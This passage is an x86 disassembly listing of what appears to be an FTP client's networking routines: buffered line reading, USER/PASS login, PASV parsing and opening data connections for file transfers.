cmp dword_50E3DC, 1
jle short loc_42CBC4
mov edx, dword_50FA84
push esi
add edx, 40h
push offset aS ; "%s"
push edx
call ebx ; fprintf
add esp, 0Ch
loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj
lea eax, [esp+18h+var_8]
push 4
push eax
push esi
call ebp ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_42CBEE
push edi
push 100h
push esi
call sub_42CC50
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42CBA6
jmp loc_42CB32
; ---------------------------------------------------------------------------
loc_42CBEE: ; CODE XREF: sub_42CB10+62j
; sub_42CB10+C3j
mov cl, [esi]
mov dl, [esp+18h+arg_0]
xor eax, eax
pop edi
cmp cl, dl
pop esi
pop ebp
pop ebx
setz al
add esp, 8
retn
sub_42CB10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p
; sub_42CB10+83p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 8
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
mov esi, [esp+14h+arg_8]
xor ecx, ecx
push edi
mov [esp+18h+var_8], ecx
mov eax, [esi+18h]
mov [esp+18h+var_4], ecx
cmp eax, ecx
jz short loc_42CC80
cmp eax, 1
jz short loc_42CC80
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CC80: ; CODE XREF: sub_42CC50+1Ej
; sub_42CC50+23j
mov ebx, [esp+18h+arg_4]
cmp ebx, ecx
jnz short loc_42CC92
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CC92: ; CODE XREF: sub_42CC50+36j
; sub_42CC50+115j
mov edi, [esi+0Ch]
test edi, edi
jle short loc_42CCE3
cmp ebx, edi
jge short loc_42CCA0
lea edi, [ebx-1]
loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj
mov eax, [esi+4]
push edi
push 0Ah
push eax
push ebp
nop
call near ptr 77C46170h
add esp, 10h
test eax, eax
jz short loc_42CCB9
mov edi, eax
sub edi, ebp
loc_42CCB9: ; CODE XREF: sub_42CC50+63j
mov edx, [esp+18h+var_8]
add ebp, edi
add edx, edi
sub ebx, edi
mov [esp+18h+var_8], edx
mov byte ptr [ebp+0], 0
mov ecx, [esi+4]
mov edx, [esi+0Ch]
add ecx, edi
sub edx, edi
test eax, eax
mov [esi+4], ecx
mov [esi+0Ch], edx
jnz loc_42CD6A
loc_42CCE3: ; CODE XREF: sub_42CC50+47j
cmp ebx, 1
jz loc_42CDBD
mov ecx, [esi]
mov eax, [esi+4]
cmp ecx, eax
jnz short loc_42CD0B
mov eax, [esi+14h]
mov dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov [esi], eax
mov dword ptr [esi+10h], 2000h
loc_42CD0B: ; CODE XREF: sub_42CC50+A3j
mov eax, [esp+18h+var_4]
test eax, eax
jnz loc_42CDD0
push esi
call sub_42CE80
add esp, 4
test eax, eax
jz loc_42CE02
mov edx, [esi+10h]
mov eax, [esi]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_436EFA
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz loc_42CDEC
test eax, eax
jnz short loc_42CD4F
mov [esp+18h+var_4], 1
loc_42CD4F: ; CODE XREF: sub_42CC50+F5j
mov edi, [esi+10h]
mov edx, [esi+0Ch]
mov ecx, [esi]
sub edi, eax
add edx, eax
add ecx, eax
mov [esi+10h], edi
mov [esi+0Ch], edx
mov [esi], ecx
jmp loc_42CC92
; ---------------------------------------------------------------------------
loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj
sub ebp, 2
mov esi, offset asc_445230 ; "\r\n"
mov eax, ebp
loc_42CD74: ; CODE XREF: sub_42CC50+146j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42CD9C
test cl, cl
jz short loc_42CD98
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42CD9C
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42CD74
loc_42CD98: ; CODE XREF: sub_42CC50+130j
xor eax, eax
jmp short loc_42CDA1
; ---------------------------------------------------------------------------
loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj
; sub_42CC50+13Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj
test eax, eax
jnz short loc_42CE02
mov byte ptr [ebp+0], 0Ah
mov [ebp+1], al
mov eax, [esp+18h+var_8]
pop edi
dec eax
pop esi
pop ebp
mov [esp+0Ch+var_8], eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDBD: ; CODE XREF: sub_42CC50+96j
mov eax, [esp+18h+arg_0]
pop edi
pop esi
pop ebp
mov byte ptr [eax], 0
mov eax, [esp+0Ch+var_8]
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDD0: ; CODE XREF: sub_42CC50+C1j
mov eax, [esp+18h+var_8]
test eax, eax
jnz short loc_42CE02
pop edi
mov [esp+14h+var_8], 0FFFFFFFFh
mov eax, [esp+14h+var_8]
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDEC: ; CODE XREF: sub_42CC50+EDj
push offset aRead ; "read"
nop
call near ptr 77C36DF2h
add esp, 4
mov [esp+18h+var_8], 0FFFFFFFFh
loc_42CE02: ; CODE XREF: sub_42CC50+D2j
; sub_42CC50+153j ...
mov eax, [esp+18h+var_8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_42CC50 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p
; sub_42DC70:loc_42DC9Dp ...
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 10Ch
push ebx
push ebp
push esi
mov esi, [esp+118h+arg_0]
xor ebx, ebx
xor ebp, ebp
mov eax, [esi+18h]
test eax, eax
jz loc_42CF63
mov ecx, [esi+30h]
test ecx, ecx
jz loc_42CF63
cmp eax, 2
jnz short loc_42CEB5
lea ebp, [esp+118h+var_104]
jmp short loc_42CEB9
; ---------------------------------------------------------------------------
loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj
lea ebx, [esp+118h+var_104]
loc_42CEB9: ; CODE XREF: sub_42CE80+33j
xor eax, eax
push edi
mov [esp+11Ch+var_104], eax
loc_42CEC0: ; CODE XREF: sub_42CE80+98j
cmp eax, 40h
jnb short loc_42CED5
mov ecx, [esi+8]
mov [esp+eax*4+11Ch+var_100], ecx
mov eax, [esp+11Ch+var_104]
inc eax
mov [esp+11Ch+var_104], eax
loc_42CED5: ; CODE XREF: sub_42CE80+43j
mov edx, [esi+28h]
mov eax, [esi+2Ch]
lea ecx, [esp+11Ch+var_10C]
mov [esp+11Ch+var_10C], edx
mov edx, [esi+8]
push ecx
push 0
push ebp
inc edx
push ebx
push edx
mov [esp+130h+var_108], eax
call sub_436F12
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz short loc_42CF1A
test eax, eax
jg short loc_42CF51
mov eax, [esi+34h]
mov ecx, [esi+38h]
push eax
push ecx
push esi
call dword ptr [esi+30h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_42CF56
mov eax, [esp+11Ch+var_104]
jmp short loc_42CEC0
; ---------------------------------------------------------------------------
loc_42CF1A: ; CODE XREF: sub_42CE80+79j
push 100h
xor edi, edi
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
call near ptr 77C371FAh
nop
add esp, 4
push eax
mov eax, [esi+1Ch]
add eax, 44h
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42CF51: ; CODE XREF: sub_42CE80+7Dj
mov edi, 1
loc_42CF56: ; CODE XREF: sub_42CE80+92j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42CF63: ; CODE XREF: sub_42CE80+19j
; sub_42CE80+24j
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 10Ch
retn
sub_42CE80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CFC0: ; CODE XREF: ___:00401410j
mov eax, [esp+4]
xor ecx, ecx
dec eax
cmp eax, 4 ; switch 5 cases
ja loc_42D06F ; default
jmp off_42D074[eax*4] ; switch jump
loc_42CFD7: ; DATA XREF: ___:off_42D074o
mov eax, [esp+8] ; jumptable 0042CFD0 case 0
cmp eax, 1
jz short loc_42CFE9
cmp eax, 2
jnz loc_42D06F ; default
loc_42CFE9: ; CODE XREF: ___:0042CFDEj
mov ecx, [esp+0Ch]
mov [ecx+24h], eax
mov ecx, 1
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42CFF8: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1
mov eax, [esp+8]
mov ecx, 1
mov [edx+30h], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42D00B: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
push esi ; jumptable 0042CFD0 case 2
mov esi, [esp+0Ch]
mov eax, 10624DD3h
push edi
imul esi
mov edi, [esp+14h]
mov ecx, 1
sar edx, 6
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, esi
mov [edi+28h], edx
mov esi, 3E8h
cdq
idiv esi
lea eax, [edx+edx*4]
lea eax, [eax+eax*4]
lea edx, [eax+eax*4]
mov eax, ecx
shl edx, 3
mov [edi+2Ch], edx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42D04C: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3
mov edx, [esp+8]
mov ecx, 1
mov [eax+34h], edx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42D05F: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4
mov edx, [esp+8]
mov ecx, 1
mov [eax+3Ch], edx
loc_42D06F: ; CODE XREF: ___:0042CFCAj
; ___:0042CFE3j
mov eax, ecx ; default
retn
; ---------------------------------------------------------------------------
align 4
off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r
dd offset loc_42CFF8 ; jump table for switch statement
dd offset loc_42D00B
dd offset loc_42D04C
dd offset loc_42D05F
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D0D0 proc near ; CODE XREF: sub_402243j
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
sub esp, 40h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42D161
mov ebx, [esp+4Ch+arg_4]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42D161
mov edi, dword_50FA60
push edx
lea eax, [esp+50h+var_40]
push offset aUserS ; "USER %s"
push eax
call edi ; sprintf
mov esi, [esp+58h+arg_8]
lea ecx, [esp+58h+var_40]
push esi
push 33h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42D13D
mov cl, [esi+44h]
pop edi
cmp cl, 32h
pop esi
setz al
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj
push ebx
lea edx, [esp+50h+var_40]
push offset aPassS ; "PASS %s"
push edx
call edi ; sprintf
push esi
lea eax, [esp+5Ch+var_40]
push 32h
push eax
call sub_42D1A0
add esp, 18h
pop edi
pop esi
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42D161: ; CODE XREF: sub_42D0D0+1Bj
; sub_42D0D0+30j
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 40h
retn
sub_42D0D0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p
; sub_42D0D0+82p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
sub esp, 100h
push ebx
mov ebx, [esp+104h+arg_8]
push esi
push edi
mov eax, [ebx+18h]
test eax, eax
jz short loc_42D1C3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D1C3: ; CODE XREF: sub_42D1A0+15j
mov eax, dword_50E3DC
mov esi, [esp+10Ch+arg_0]
cmp eax, 2
jle short loc_42D1EC
mov eax, dword_50FA84
push esi
add eax, 40h
push offset aS_0 ; "%s\n"
push eax
nop
call near ptr 77C40E13h
add esp, 0Ch
loc_42D1EC: ; CODE XREF: sub_42D1A0+32j
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 2
cmp ecx, 100h
jbe short loc_42D20C
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D20C: ; CODE XREF: sub_42D1A0+60j
push esi
lea ecx, [esp+110h+var_100]
push offset dword_443CE4
push ecx
nop
call near ptr 77C3F931h
lea edi, [esp+118h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 0Ch
repne scasb
mov eax, [ebx+8]
push 0
not ecx
dec ecx
lea edx, [esp+110h+var_100]
push ecx
push edx
push eax
call sub_436F00
sub_42D1A0 endp
; ---------------------------------------------------------------------------
db 85h
dd 681A7FC0h, 4454BCh, 9BA4E890h, 0C4837780h, 5FC03304h
dd 0C4815B5Eh, 100h, 248C8BC3h, 114h, 0A5E85153h, 83FFFFF8h
dd 5E5F08C4h, 0C4815Bh, 0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42D2C0 proc near ; CODE XREF: sub_401F55j
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 100h
push ebx
push ebp
push esi
mov esi, [esp+10Ch+arg_0]
push edi
mov edi, [esp+110h+arg_4]
test esi, esi
jnz short loc_42D30C
cmp edi, 4
jz short loc_42D2E6
cmp edi, 3
jnz short loc_42D30C
loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj
mov eax, [esp+110h+arg_C]
push offset aMissingPathArg ; "Missing path argument for file transfer"...
add eax, 44h
push eax
nop
call near ptr 77C3F931h
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj
; sub_42D2C0+24j
mov ecx, [esp+110h+arg_8]
mov ebp, dword_50FA60
push ecx
lea edx, [esp+114h+var_100]
push offset dword_445504
push edx
call ebp ; sprintf
mov ebx, [esp+11Ch+arg_C]
lea eax, [esp+11Ch+var_100]
push ebx
push 32h
push eax
call sub_42D1A0
add esp, 18h
test eax, eax
jz loc_42D4CE
lea eax, [edi-1] ; switch 4 cases
cmp eax, 3
ja loc_42D4BF ; default
jmp off_42D4DC[eax*4] ; switch jump
loc_42D358: ; DATA XREF: ___:off_42D4DCo
mov ecx, dword_4454FC ; jumptable 0042D351 case 1
mov dl, byte_445500
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D373: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov eax, dword_4454F4 ; jumptable 0042D351 case 2
mov cl, byte_4454F8
mov [esp+110h+var_100], eax
mov [esp+110h+var_FC], cl
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D38D: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov edx, dword_4454EC ; jumptable 0042D351 case 3
mov al, byte_4454F0
mov [esp+110h+var_100], edx
mov [esp+110h+var_FC], al
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D3A7: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov ecx, dword_4454E4 ; jumptable 0042D351 case 4
mov dl, byte_4454E8
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 2
loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j
; sub_42D2C0+CBj ...
test esi, esi
jz short loc_42D413
lea edi, [esp+110h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
mov byte ptr [esp+edx+110h+var_100], 20h
inc edx
repne scasb
not ecx
dec ecx
add ecx, edx
cmp ecx, 100h
jnb loc_42D4CE
mov edi, esi
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+edx+110h+var_100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_42D413: ; CODE XREF: sub_42D2C0+102j
mov ecx, [esp+110h+arg_8]
mov esi, [esp+110h+arg_10]
push ebp
push ecx
push esi
push ebx
call sub_42D580
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_42D4CE
push ebx
lea edx, [esp+114h+var_100]
push 31h
push edx
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42D468
mov eax, [esi]
push eax
call sub_401BDB
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D468: ; CODE XREF: sub_42D2C0+188j
mov ecx, [esi]
mov [ecx+1Ch], ebx
mov eax, [ebx+24h]
mov edx, [esi]
cmp eax, 2
mov [ebx+20h], edx
jnz short loc_42D4AF
mov eax, [esi]
push ebx
push eax
call sub_42DA60
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_42D4AF
mov ecx, [esi]
push ecx
call sub_401BDB
add esp, 4
mov dword ptr [esi], 0
mov dword ptr [ebx+20h], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j
; sub_42D2C0+1C8j
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj
push edi ; default
add ebx, 44h
push offset aInvalidOpenTyp ; "Invalid open type %d\n"
push ebx
call ebp ; sprintf
add esp, 0Ch
loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj
; sub_42D2C0+12Cj ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 100h
retn
sub_42D2C0 endp
; ---------------------------------------------------------------------------
align 4
off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r
dd offset loc_42D373 ; jump table for switch statement
dd offset loc_42D38D
dd offset loc_42D3A7
db 4 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_114 = byte ptr -114h
var_110 = byte ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 134h
push ebx
mov ebx, [esp+138h+arg_0]
push ebp
push esi
mov eax, [ebx+18h]
xor ebp, ebp
mov esi, 1
cmp eax, ebp
push edi
mov [esp+144h+var_120], bp
mov [esp+144h+var_11E], bp
mov [esp+144h+var_11C], esi
jnz loc_42D8A4
mov eax, [esp+144h+arg_C]
cmp eax, esi
jz short loc_42D5E2
cmp eax, 2
jz short loc_42D5E2
push eax
add ebx, 44h
push offset aInvalidDirecti ; "Invalid direction %d\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D5E2: ; CODE XREF: sub_42D580+3Aj
; sub_42D580+3Fj
mov eax, [esp+144h+arg_8]
cmp eax, 41h
jz short loc_42D614
cmp eax, 49h
jz short loc_42D614
push eax
add ebx, 44h
push offset aInvalidModeC ; "Invalid mode %c\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D614: ; CODE XREF: sub_42D580+6Cj
; sub_42D580+71j
mov eax, [ebx+24h]
mov [esp+144h+var_124], 10h
cmp eax, esi
jnz loc_42D6F9
xor eax, eax
push ebx
mov [esp+148h+var_134], eax
push 32h
mov [esp+14Ch+var_130], eax
push offset aPasv ; "PASV"
mov [esp+150h+var_12C], eax
mov word ptr [esp+150h+var_134], 2
mov [esp+150h+var_128], eax
call sub_42D1A0
add esp, 0Ch
test eax, eax
jz loc_42D8A4
lea ecx, [ebx+44h]
push 28h
push ecx
nop
call near ptr 77C47660h
add esp, 8
cmp eax, ebp
jz loc_42D8A4
lea edx, [esp+144h+var_114]
lea ecx, [esp+144h+var_118]
push edx
push ecx
lea edx, [esp+14Ch+var_104]
lea ecx, [esp+14Ch+var_108]
push edx
push ecx
lea edx, [esp+154h+var_10C]
lea ecx, [esp+154h+var_110]
push edx
push ecx
inc eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push eax
nop
call near ptr 77C41B72h
mov dl, [esp+164h+var_110]
mov al, [esp+164h+var_10C]
mov cl, [esp+164h+var_108]
mov byte ptr [esp+164h+var_130], dl
mov dl, [esp+164h+var_104]
mov byte ptr [esp+164h+var_130+1], al
mov al, [esp+164h+var_118]
mov byte ptr [esp+164h+var_130+2], cl
mov cl, [esp+164h+var_114]
add esp, 20h
mov byte ptr [esp+144h+var_130+3], dl
mov byte ptr [esp+144h+var_134+2], al
mov byte ptr [esp+144h+var_134+3], cl
push 6
push esi
push 2
call sub_436F3C
; ---------------------------------------------------------------------------
db 8Bh
dd 0FFFF83F8h, 50684D75h, 90004454h, 809709E8h, 4C48377h
dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42D6F9: ; CODE XREF: sub_42D580+A1j
mov ecx, [ebx+8]
lea edx, [esp+144h+var_124]
lea eax, [esp+144h+var_134]
push edx
push eax
push ecx
call sub_436F2A
; ---------------------------------------------------------------------------
dd 0BD7DC085h, 44557068h, 96D8E800h, 83907780h, 0C03304C4h
dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h
dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44544068h
dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h
dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h
dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h
dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h
dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh, 90004455h
dd 809625E8h, 4C48377h, 9730E857h, 5E5F0000h, 5BC0335Dh
dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h
dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h
dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h
dd 51500000h, 5C24548Dh, 44554468h, 0DEE85200h, 90778120h
dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h
dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44543868h
dd 57E89000h, 83778095h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------
loc_42D8A4: ; CODE XREF: sub_42D580+2Bj
; sub_42D580+D2j ...
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 134h
retn
sub_42D580 endp
; ---------------------------------------------------------------------------
dw 0BC83h
dd 15024h, 41754100h, 200068h, 40E89000h, 83777FEBh, 0C53B04C4h
dd 75144689h, 5438682Ch, 0E8900044h, 77809516h, 5704C483h
dd 9621E8h, 0E8905600h, 777FE92Fh, 8304C483h, 5E5FFFC8h
dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh
dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h
dd 40h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 124h
push ebx
mov ebx, [esp+128h+arg_0]
push ebp
push esi
mov esi, [esp+130h+arg_4]
mov eax, [ebx+8]
xor ebp, ebp
push edi
mov ecx, [esi+8]
mov [esp+134h+var_FC], eax
cmp ecx, eax
mov [esp+134h+var_100], ecx
mov [esp+134h+var_104], 2
mov [esp+134h+var_118], ebp
mov [esp+134h+var_11C], 1Eh
jge short loc_42DAA2
mov ecx, eax
loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej
lea eax, [esp+134h+var_11C]
lea edx, [esp+134h+var_104]
push eax
push ebp
push ebp
inc ecx
push edx
push ecx
call sub_436F12
sub_42DA60 endp
; ---------------------------------------------------------------------------
db 83h, 0F8h, 0FFh
dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh
dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh
dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h
dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h
dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh
dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h
dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch
dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h
dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h
dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42DC70 proc near ; CODE XREF: sub_402248j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 1
jz short loc_42DC81
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DC81: ; CODE XREF: sub_42DC70+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42DC9D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42CC50
add esp, 0Ch
jmp short loc_42DCC4
; ---------------------------------------------------------------------------
loc_42DC9D: ; CODE XREF: sub_42DC70+17j
call sub_42CE80
add esp, 4
cmp eax, 1
jz short loc_42DCAF
pop edi
xor eax, eax
